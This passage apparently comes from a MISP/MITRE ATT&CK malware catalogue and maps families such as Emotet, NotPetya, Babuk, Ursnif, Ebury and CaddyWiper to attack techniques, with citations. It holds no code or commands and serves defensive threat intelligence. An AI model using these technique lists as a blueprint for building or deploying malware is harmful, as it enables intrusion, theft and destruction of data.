- uses: misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 5623. Table References

Links
https://attack.mitre.org/software/S0367
https://blog.talosintelligence.com/2019/01/return-of-emotet.html
https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/
https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf
https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/
https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/
https://support.malwarebytes.com/docs/DOC-2295
https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/
https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/
https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html
https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader
https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor
https://www.us-cert.gov/ncas/alerts/TA18-201A
https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/

HOPLIGHT - S0376

[HOPLIGHT](https://attack.mitre.org/software/S0376) is a backdoor Trojan that has reportedly been used by the North Korean government.(Citation: US-CERT HOPLIGHT Apr 2019)

The tag is: *misp-galaxy:mitre-malware="HOPLIGHT - S0376"*

HOPLIGHT - S0376 is also known as:

* HOPLIGHT

View relationships graph

HOPLIGHT - S0376 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5624. Table References

Links

https://attack.mitre.org/software/S0376
https://www.us-cert.gov/ncas/analysis-reports/AR19-100A

NativeZone - S0637

[NativeZone](https://attack.mitre.org/software/S0637) is the name given collectively to disposable custom [Cobalt Strike](https://attack.mitre.org/software/S0154) loaders used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)

The tag is: *misp-galaxy:mitre-malware="NativeZone - S0637"*

NativeZone - S0637 is also known as:

- NativeZone

View relationships graph

NativeZone - S0637 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

Table 5625. Table References

Links
https://attack.mitre.org/software/S0637
https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/

Babuk - S0638

[Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of [Babuk](https://attack.mitre.org/software/S0638) employ a "Big Game Hunting" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: CyberScoop Babuk February 2021)

The tag is: *misp-galaxy:mitre-malware="Babuk - S0638"*

Babuk - S0638 is also known as:

- Babuk
- Babyk
- Vasa Locker

View relationships graph

Babuk - S0638 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5626. Table References

Links
https://attack.mitre.org/software/S0638
https://www.cyberscoop.com/babuk-ransomware-serco-attack/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf
https://www.sogeti.com/globalassets/reports/cybersecchronicles_-babuk.pdf[*https://www.sogeti.com/globalassets/reports/cybersecchronicles*-_babuk.pdf]
https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html

NotPetya - S0368

[NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)

The tag is: *misp-galaxy:mitre-malware="NotPetya - S0368"*

NotPetya - S0368 is also known as:

- NotPetya
- ExPetr
- Diskcoder.C
- GoldenEye
- Petrwrap
- Nyetya

View relationships graph

NotPetya - S0368 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5627. Table References

Links
https://attack.mitre.org/software/S0368
https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
https://www.justice.gov/opa/press-release/file/1328521/download
https://www.us-cert.gov/ncas/alerts/TA17-181A
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/

Ursnif - S0386

[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar

2015)

The tag is: *misp-galaxy:mitre-malware="Ursnif - S0386"*

Ursnif - S0386 is also known as:

- Ursnif
- Gozi-ISFB
- PE_URSNIF
- Dreambot

View relationships graph

Ursnif - S0386 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Thread Local Storage - T1055.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5628. Table References

Links
https://attack.mitre.org/software/S0386
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992
https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality

EvilBunny - S0396

[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)

The tag is: *misp-galaxy:mitre-malware="EvilBunny - S0396"*

EvilBunny - S0396 is also known as:

- EvilBunny

View relationships graph

EvilBunny - S0396 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5629. Table References

Links
https://attack.mitre.org/software/S0396
https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/

CoinTicker - S0369

[CoinTicker](https://attack.mitre.org/software/S0369) is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.(Citation: CoinTicker 2019)

The tag is: *misp-galaxy:mitre-malware="CoinTicker - S0369"*

CoinTicker - S0369 is also known as:

- CoinTicker

View relationships graph

CoinTicker - S0369 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5630. Table References

Links
https://attack.mitre.org/software/S0369
https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/

CaddyWiper - S0693

[CaddyWiper](https://attack.mitre.org/software/S0693) is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)

The tag is: *misp-galaxy:mitre-malware="CaddyWiper - S0693"*

CaddyWiper - S0693 is also known as:

- CaddyWiper

View relationships graph

CaddyWiper - S0693 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 5631. Table References

Links
https://attack.mitre.org/software/S0693
https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html
https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine

Ebury - S0377

[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)

The tag is: *misp-galaxy:mitre-malware="Ebury - S0377"*

Ebury - S0377 is also known as:

- Ebury

View relationships graph

Ebury - S0377 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pluggable Authentication Modules - T1556.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 5632. Table References

Links
https://attack.mitre.org/software/S0377
https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/
https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/

KeyBoy - S0387

[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016.(Citation: CitizenLab KeyBoy Nov 2016)(Citation: PWC KeyBoys Feb 2017)

The tag is: *misp-galaxy:mitre-malware="KeyBoy - S0387"*

KeyBoy - S0387 is also known as:

- KeyBoy

View relationships graph

KeyBoy - S0387 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
